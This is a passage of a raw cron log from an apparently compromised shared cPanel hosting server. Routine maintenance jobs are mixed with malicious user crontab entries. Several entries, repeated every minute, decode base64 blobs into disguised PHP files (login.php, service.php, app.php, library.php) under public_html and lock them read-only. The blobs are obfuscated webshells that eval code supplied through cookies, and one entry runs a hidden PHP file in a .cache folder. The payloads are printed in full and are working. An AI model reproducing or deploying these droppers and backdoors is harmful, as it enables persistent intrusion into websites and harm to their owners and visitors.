JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:39:02 medusa CROND[27783]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 15:40:01 medusa CROND[12528]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 15:40:01 medusa CROND[12543]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:40:01 medusa CROND[12552]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:40:01 medusa CROND[12617]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 15:40:01 medusa CROND[12667]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 15:40:02 medusa CROND[12852]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 15:40:02 medusa CROND[12853]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 15:40:02 medusa CROND[12854]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 15:40:02 medusa CROND[12858]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 15:40:02 medusa CROND[12859]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 15:40:02 medusa CROND[12860]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 15:40:02 medusa CROND[12866]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:40:02 medusa CROND[12874]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:40:02 medusa CROND[12868]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 15:40:02 medusa CROND[12880]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:40:02 medusa CROND[12862]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 15:40:02 medusa CROND[12885]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:40:02 medusa CROND[12883]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 15:40:02 medusa CROND[12888]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:40:02 medusa CROND[12889]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:40:02 medusa CROND[12891]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 15:40:02 medusa CROND[12898]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:40:02 medusa CROND[12890]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:40:02 medusa CROND[12899]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:40:02 medusa CROND[12905]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 15:40:02 medusa CROND[12897]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 15:40:02 medusa CROND[12913]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 15:40:02 medusa CROND[12900]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 15:41:02 medusa CROND[312]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:41:02 medusa CROND[313]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:41:02 medusa CROND[317]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:41:02 medusa CROND[320]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:41:02 medusa CROND[321]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:41:02 medusa CROND[322]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:41:02 medusa CROND[323]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:41:02 medusa CROND[324]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 15:41:02 medusa CROND[325]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 15:41:02 medusa CROND[329]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:41:02 medusa CROND[341]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:41:02 medusa CROND[342]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:41:02 medusa CROND[340]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 15:41:02 medusa CROND[345]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:42:01 medusa CROND[17572]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:42:01 medusa CROND[17747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:42:01 medusa CROND[17748]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
